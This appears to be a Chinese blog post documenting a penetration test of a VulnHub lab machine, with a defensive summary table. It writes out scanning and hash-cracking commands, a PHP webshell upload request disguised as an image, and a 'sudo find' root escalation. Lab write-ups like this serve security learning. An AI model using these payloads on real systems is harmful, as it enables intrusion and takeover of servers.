逆元装置 ▍ INVERSION

丽·芙

CONSTRUCT — LIV
▍
意识海深度 · 回廊稳定
逆元装置 · 待机中
指挥官链接 · 未认证

渗透测试实战:一次完整的漏洞挖掘与复现

公開日: 2025-02-18 00:00 600文字 3 min read

この投稿は「日本語」では表示できません。元の投稿を表示しています。
以 VulnHub 靶机为例,完整记录从信息收集到权限提升的渗透测试流程。

前言

本文以 VulnHub 上一个中等难度的靶机为例,记录一次完整的渗透测试流程。目标是对渗透测试的各个阶段形成系统性认知,而非追求特定漏洞的利用技巧。

阶段一:信息收集

在拿到目标 IP 之后,第一步永远是信息收集——渗透测试中最重要的环节。

端口扫描

nmap -sC -sV -p- 192.168.56.101

结果显示了几个关键服务:

端口服务版本
22SSHOpenSSH 7.4
80HTTPApache 2.4.6
8080HTTPTomcat 9.0

目录枚举

gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt

发现了几个有趣的路径:/admin/、/backup/、/dev/。/backup/ 目录下有一个 database.sql 文件可以直接下载,里面包含了用户表的哈希密码。

阶段二:漏洞利用

弱口令破解

从备份文件中提取出两个用户名和 bcrypt 哈希值。使用 hashcat 进行离线破解:

hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

成功破解了其中一个用户的密码,密码强度很弱。

文件上传绕过

登录后台后发现一个图片上传功能。前端只验证了文件后缀,但后端没有做二次校验。通过抓包修改 Content-Type 并上传 PHP webshell:

POST /admin/upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>

由于 Apache 配置了 MultiViews,shell.php.jpg 同样可以被 PHP 解析。访问 http://192.168.56.101/uploads/shell.php.jpg?cmd=id,成功获得 www-data 权限。

阶段三:权限提升

信息收集(内部)

拿到 shell 后,首先查看当前环境和 sudo 配置:

sudo -l
# User www-data may run (root) NOPASSWD: /usr/bin/find

这是一个经典的 sudo 提权漏洞。find 命令可以执行任意系统命令:

sudo find / -exec /bin/sh \;

成功拿到 root 权限。

总结

这次渗透测试的关键发现:

漏洞类型危害防御
敏感文件暴露信息泄露禁止目录浏览,移除备份文件
弱密码认证绕过强制密码复杂度策略
文件上传绕过RCE后端校验文件内容,存储到非 web 目录
sudo 配置不当本地提权遵循最小权限原则,限制命令参数

真实的渗透测试远比这复杂——内网横向移动、域渗透、持久化后门、痕迹清理……这些留待后面的文章慢慢展开。